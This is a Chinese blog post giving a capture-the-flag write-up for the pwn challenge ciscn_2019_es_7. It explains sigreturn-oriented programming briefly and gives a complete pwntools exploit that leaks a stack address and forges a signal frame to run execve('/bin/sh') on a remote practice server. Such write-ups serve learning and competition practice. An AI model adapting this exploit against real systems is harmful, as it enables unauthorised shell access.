首页 > 其他 > 详细

一道srop——ciscn_2019_es_7

时间:2021-04-28 21:43:59      阅读:28      评论:0      收藏:0      [点我收藏+]

技术分享图片

 

 ida中看到一个输入一个输出,并且输出大于输入

网上找到一个新的办法——srop

技术分享图片

 

 简而言之就是调用sigreturn的时候会返回到Signal Frame,而这个东西是在用户的栈上的,然而返回signal frame时不会检测是不是自己之前的写的,所以只要通过栈溢出修改这个就可以控制程序流了

signal frame结构

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr - 0x118  
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

条件:1.可以栈溢出(控制signal frame)

2.找到syscall地址

3.找到mov rax,oxf(即sigreturn的系统调用号)

4.获得栈上的地址

大概是这样子的吧

exp:

from pwn import *
from LibcSearcher import *
#p=process(‘./ciscn_2019_es_7‘)
p=remote(‘node3.buuoj.cn‘,25723)
context(arch=‘amd64‘,os=‘linux‘,log_level=‘debug‘)

syscall_ret=0x400517
sigreturn_addr=0x4004da
system_addr=0x4004e2
rax=0x4004f1

p.send(‘/bin/sh‘+‘\x00‘*9+p64(rax))
p.recv(32)
stack_addr=u64(p.recv(8))
p.recv(8)

sigframe=SigreturnFrame()
sigframe.rax=constants.SYS_execve
sigframe.rdi=stack_addr-0x118
sigframe.rsi=0x0
sigframe.rdx=0x0
sigframe.rsp=stack_addr
sigframe.rip=syscall_ret

p.send(‘/bin/sh‘+‘\x00‘*9+p64(sigreturn_addr)+p64(syscall_ret)+str(sigframe))
p.interactive()
               

pwn太难了,准备学的差不多了以后转安卓逆向了

 

技术分享图片

 

一道srop——ciscn_2019_es_7

原文:https://www.cnblogs.com/p201921420037/p/14715534.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!